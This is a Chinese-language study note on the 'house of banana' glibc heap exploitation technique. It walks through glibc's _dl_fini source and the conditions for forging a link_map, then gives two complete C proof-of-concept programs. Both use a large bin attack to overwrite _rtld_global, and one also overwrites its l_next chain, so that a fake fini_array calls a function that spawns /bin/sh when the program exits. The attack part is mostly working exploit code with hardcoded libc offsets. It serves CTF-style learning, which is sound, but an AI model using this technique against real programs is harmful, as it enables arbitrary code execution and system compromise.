house-of-banana学习笔记
早就听闻banana的强大,今天来学习一波。
使用条件(满足任一条件即可):
1.劫持_ns_loaded 我们先来看一下fini_array
这个数组是如何被调用的。
因此我们直接分析源码,只看其中的一个for循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 /*ns = 0*/ for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) { __rtld_lock_lock_recursive (GL(dl_load_lock)); /*nloaded = 4*/ unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded; if (nloaded == 0 #ifdef SHARED || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit #endif ) __rtld_lock_unlock_recursive (GL(dl_load_lock)); else { struct link_map *maps[nloaded]; unsigned int i; struct link_map *l; assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL); for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next) if (l == l->l_real) { assert (i < nloaded); maps[i] = l; l->l_idx = i; ++i; ++l->l_direct_opencount; } /*LM_ID_BASE=0*/ assert (ns != LM_ID_BASE || i == nloaded); assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1); unsigned int nmaps = i; _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE), NULL, true); __rtld_lock_unlock_recursive (GL(dl_load_lock)); for (i = 0; i < nmaps; ++i) { struct link_map *l = maps[i]; if (l->l_init_called) { l->l_init_called = 0; /*DT_FINI=13 */ if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL) { if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n", DSO_FILENAME (l->l_name), ns); /* DT_FINI_ARRAY=26,DT_FINI_ARRAYSZ=28*/ if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) (); } …………… } } }
可以看到想要执行array[i](),第一种方法就是劫持GL(dl_ns)[0]._ns_loaded
,将其改为一个堆的地址。
这两个条件即可以看出,for要循环四次,maps[i]需要赋四个值。
1 2 assert (ns != LM_ID_BASE || i == nloaded); assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
l->l_init_called
需要等于1,只占一位
1 2 3 4 5 6 7 8 enum /* Where this object came from. */ { lt_executable, /* The main executable program. */ lt_library, /* Library needed by main executable. */ lt_loaded /* Extra run-time loaded shared object. */ } l_type:2; unsigned int l_relocated:1; /* Nonzero if object's relocations done. */ unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
l->l_info[DT_FINI_ARRAY] != NULL|| l->l_info[DT_FINI] != NULL
l->l_addr
需要是目标函数的地址且l->l_info[26]->d_un.d_ptr
为0,l->l_info[28]->d_un.d_val
为8
1 2 3 4 5 ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 #gcc -g house-of-banana.c -o house-of-banana #include <stdio.h> #include <stdlib.h> void backdoor() { puts("you hacked me!!"); system("/bin/sh"); } int main() { puts("house of banana's poc"); size_t libc_base = &puts - 0x875a0; size_t _rtld_global_ptr_addr = libc_base + 0x243060; char *ptr0 = malloc(0x450); char *gap = malloc(0x10); char *ptr1 = malloc(0x440); gap = malloc(0x10); char *ptr2 = malloc(0x410); gap = malloc(0x10); free(ptr0); //put ptr9 into large bin malloc(0x500); free(ptr1); //free ptr1 into unsorted bin free(ptr2); //free ptr2 into unsorted bin //bk_nextsize = _rtld_global_ptr_addr *(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20; malloc(0x410); //large bin attack to hijack _rtld_global_ptr //fake a _rtld_global size_t fake_rtld_global_addr = ptr1 - 0x10; size_t *fake_rtld_global = (size_t *)ptr1; char buf[0x100]; //the chain's length must >= 4 fake_rtld_global[1] = &fake_rtld_global[2]; fake_rtld_global[3] = fake_rtld_global_addr; fake_rtld_global[2+3] = &fake_rtld_global[3]; fake_rtld_global[2+5] = &fake_rtld_global[2]; fake_rtld_global[3+3] = &fake_rtld_global[8]; fake_rtld_global[3+5] = &fake_rtld_global[3]; fake_rtld_global[8+3] = 0; fake_rtld_global[8+5] = &fake_rtld_global[8]; //fake a fini_array segment //_rtld_global._dl_ns[0].l_info[26]!=0 fake_rtld_global[0x20] = &fake_rtld_global[0x30]; //_rtld_global._dl_ns[0].l_info[28].d_un.d_val=8 fake_rtld_global[0x22] = &fake_rtld_global[0x23]; fake_rtld_global[0x23+1] = 0x8; //func ptrs total len fake_rtld_global[0x30] = 0x1A;//这里不知道这个值的作用,置0也ok //_rtld_global._dl_ns[0].l_info[26].d_un.d_ptr=0 fake_rtld_global[0x31] = 0; //array=&fake_rtld_global[0x32] fake_rtld_global[-2] = &fake_rtld_global[0x32]; //funcs fake_rtld_global[0x32] = backdoor; //l->l_init_called=1 fake_rtld_global[0x61] = 0x800000000; }
劫持_rtld_global._dl_ns._ns_loaded.l_next.l_next.l_next 因为劫持_ns_loaded需要绕过两次assert(),比较麻烦,因此我们可以直接劫持_rtld_global._dl_ns._ns_loaded.l_next.l_next.l_next
,将其修改为chunk的地址,破坏更小,绕过更简单。
和上面的方法大体一样
我们需要将l_next置0
1 assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
为了能使maps[3]=l,需要使l_real==l
l->l_init_called
需要等于1,只占一位
1 2 3 4 5 6 7 8 enum /* Where this object came from. */ { lt_executable, /* The main executable program. */ lt_library, /* Library needed by main executable. */ lt_loaded /* Extra run-time loaded shared object. */ } l_type:2; unsigned int l_relocated:1; /* Nonzero if object's relocations done. */ unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
l->l_info[DT_FINI_ARRAY] != NULL|| l->l_info[DT_FINI] != NULL
l->l_addr
需要是目标函数的地址且l->l_info[26]->d_un.d_ptr
为0,l->l_info[28]->d_un.d_val
为8
1 2 3 4 5 ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #gcc -g house-of-banana.c -o house-of-banana #include <stdio.h> #include <stdlib.h> void backdoor() { puts("you hacked me!!"); system("/bin/sh"); } int main() { puts("house of banana's poc"); size_t libc_base = &puts - 0x875a0; size_t _rtld_global_ptr_addr = libc_base + 0x243060; char *ptr0 = malloc(0x450); char *gap = malloc(0x10); char *ptr1 = malloc(0x440); gap = malloc(0x10); char *ptr2 = malloc(0x410); gap = malloc(0x10); free(ptr0); //put ptr9 into large bin malloc(0x500); free(ptr1); //free ptr1 into unsorted bin free(ptr2); //free ptr2 into unsorted bin //bk_nextsize = _rtld_global_ptr_addr *(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x51048 - 0x20; malloc(0x410); //large bin attack to hijack _rtld_global_ptr //fake a _rtld_global size_t fake_rtld_global_addr = ptr1 - 0x10; size_t *fake_rtld_global = (size_t *)ptr1; char buf[0x100]; //l_next=0,l_real==l fake_rtld_global[1] = 0; fake_rtld_global[3] = fake_rtld_global_addr; //fake a fini_array segment //_rtld_global._dl_ns[0].l_info[26]!=0 fake_rtld_global[0x20] = &fake_rtld_global[6]; //_rtld_global._dl_ns[0].l_info[28].d_un.d_val=8 fake_rtld_global[0x22] = &fake_rtld_global[9]; fake_rtld_global[10] = 0x8; //func ptrs total len //_rtld_global._dl_ns[0].l_info[26].d_un.d_ptr=0 fake_rtld_global[7] = 0; //array=&fake_rtld_global[8] fake_rtld_global[-2] = &fake_rtld_global[8]; //funcs fake_rtld_global[8] = backdoor; //l->l_init_called=1 fake_rtld_global[0x61] = 0x800000000; }
总结 house-of-banana的强大之处在于它将攻击重点转向了程序退出时的部分,并且目前适用于所有版本。只要调用了exit函数,就可以使用它。学习这个技巧时的难点在于struct rtld_global这个结构体。
参考